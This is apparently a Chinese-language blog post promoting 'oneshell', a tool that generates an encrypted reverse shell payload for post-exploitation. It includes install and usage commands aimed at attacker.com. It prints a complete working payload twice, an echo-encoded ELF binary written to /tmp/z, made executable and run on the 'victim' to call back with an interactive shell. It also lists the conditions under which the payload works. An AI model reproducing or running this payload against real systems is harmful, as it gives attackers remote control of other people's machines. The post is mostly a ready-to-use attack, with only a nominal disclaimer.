oneshell 工作原理

假设你已经在目标机器上实现了远程代码执行,并且正在寻找提升权限的方法。你可能考虑建立一个反向shell来简化这个过程。然而,作为一名安全专业人士,你希望连接是加密的,以防止数据传输不安全。

事实证明,有几种方法可以做到这一点,主要涉及到openssl或ncat工具。但如果目标机器上没有这些工具怎么办?一种解决方法是使用curl或wget通过互联网下载它们。但如果目标机器上也没有这些二进制文件怎么办?比如基本的ubuntu Docker镜像就没有这些工具。

“One Shell To Rule Them All”,简称为oneshell,是一个可以解决这个问题的工具。它通过仅使用echo和chmod命令来运行加密的反向shell。

安装方法

Docker

oneshell命令替换为以下内容:

docker run --rm -it -p 9001:9001 tantosec/oneshell

请记住将选项的值更新-p为您所使用的端口。

本地安装

go install github.com/tantosec/oneshell@latest

基本用法

如果您希望有效载荷重新连接到localhost端口9001,请运行以下命令:

oneshell -t localhost -p 9001

在现实世界中,您可能会拥有一台可访问互联网的服务器(例如attacker.com),该服务器带有允许端口通过的防火墙9001。当您希望受害者重新连接到时attacker.com,您将在机器上运行如下命令attacker.com

oneshell -t attacker.com -p 9001

您应该收到类似以下内容的输出:

Generating temporary MTLS certificates...
Payload connects to 127.0.0.1:9001
Copy the following command and run on victim:

zy(){ if [ `echo -e` ];then echo "$1";else echo -e "$1";fi;};zy '\0177ELF\02\01\01\0\0\0\0\0\0\0\0\0\02\0>\0\01\0\0\0x\0200\02\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\0\070\0\01\0@\0\0\0\0\0\01\0\0\0\07\0\0\0\0\0\0\0\0\0\0\0\0\0200\02\0\0\0\0\0\0\0200\02\0\0\0\0\0l\01\0\0\0\0\0\0\0354i\013\0\0\0\0\0\0\0 \0\0\0\0\0\061\0300\0260)\0277\02\0\0\0\0276\01\0\0\0\061\0322\017\05I\0211\0307\0211\0307\0276d\0201\02\0\061\0322\0262\020\061\0300\0260*\017\05\0272\0210h\013\0\061\0300\017\05)\0302\01\0306\0203\0372\0w\0363\0277\021m\01\0H\0272d\0201\02\0\0\0\0\0H\0203\0377\0\017\0216\0205\0\0\0H\0213\02H\0213\034%>\0201\02\0H1\0330H\0211\04%>\0201\02\0H1\0300H1\0311\0276\0\0\0\0\0212\04%>\0201\02\0H\0201\0376\0\01\0\0s3@\0210\0361H\0203\0341\07\02\0201\066\0201\02\0H%\0377\0\0\0\0212\0200\0\0200\02\0H\0377\0301H\0203\0341\07\02\0201>\0201\02\0\0320\0300\0210\0201>\0201\02\0H\0377\0306\0353\0304H\0203\0302\010H\0377\0317\0353\0211k.Yc3\0255`OMw\0236K\0210\0256E\0323#\02\0271\0247l\0277\0372uH\0213\04%>\0201\02\0H\0213\034%F\0201\02\0H9\0330t\01\0314\02\0#)\0177\0\0\01'>/tmp/z;chmod +x /tmp/z;/tmp/z

2024/07/15 15:51:17 Listening for connections on 0.0.0.0:9001

复制以下部分

zy(){ if [ `echo -e` ];then echo "$1";else echo -e "$1";fi;};zy '\0177ELF\02\01\01\0\0\0\0\0\0\0\0\0\02\0>\0\01\0\0\0x\0200\02\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\0\070\0\01\0@\0\0\0\0\0\01\0\0\0\07\0\0\0\0\0\0\0\0\0\0\0\0\0200\02\0\0\0\0\0\0\0200\02\0\0\0\0\0l\01\0\0\0\0\0\0\0354i\013\0\0\0\0\0\0\0 \0\0\0\0\0\061\0300\0260)\0277\02\0\0\0\0276\01\0\0\0\061\0322\017\05I\0211\0307\0211\0307\0276d\0201\02\0\061\0322\0262\020\061\0300\0260*\017\05\0272\0210h\013\0\061\0300\017\05)\0302\01\0306\0203\0372\0w\0363\0277\021m\01\0H\0272d\0201\02\0\0\0\0\0H\0203\0377\0\017\0216\0205\0\0\0H\0213\02H\0213\034%>\0201\02\0H1\0330H\0211\04%>\0201\02\0H1\0300H1\0311\0276\0\0\0\0\0212\04%>\0201\02\0H\0201\0376\0\01\0\0s3@\0210\0361H\0203\0341\07\02\0201\066\0201\02\0H%\0377\0\0\0\0212\0200\0\0200\02\0H\0377\0301H\0203\0341\07\02\0201>\0201\02\0\0320\0300\0210\0201>\0201\02\0H\0377\0306\0353\0304H\0203\0302\010H\0377\0317\0353\0211k.Yc3\0255`OMw\0236K\0210\0256E\0323#\02\0271\0247l\0277\0372uH\0213\04%>\0201\02\0H\0213\034%F\0201\02\0H9\0330t\01\0314\02\0#)\0177\0\0\01'>/tmp/z;chmod +x /tmp/z;/tmp/z

并在受害者机器上运行它。您应该在服务器上收到一个交互式 shell 连接,该连接将通过双向 TLS 进行保护。

成功载荷的详细条件:

  1. 目标可以通过TCP连接:你能够通过TCP与目标机器建立连接。

  2. 在目标上执行shell命令:例如,在PHP中可以使用system等函数执行shell命令。

  3. 能够使用echo内置的shell命令:可以通过echo命令来执行shell命令。

  4. x86_64 CPU:要求目标机器的CPU架构为x86_64。支持Arm64架构的功能即将到来。

  5. 在PATH路径上有chmod二进制文件:目标机器上的PATH环境变量中包含了chmod命令的可执行文件。

  6. 能够写入以下文件路径:具备向以下路径写入文件的能力:

  • /tmp/x

  • /tmp/y

  • /tmp/z

这些条件覆盖了几乎所有服务器设置的常见情况。

视频演示

https://tantosec.com/blog/oneshell/poc.mp4

截图

在个人vps上运行命令生成payloa

在vps上看到反弹shell成功,执行命令成功

GitHub

https://github.com/tantosec/oneshell

直链下载地址

https://lp.lmboke.com/oneshell-main.zip

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。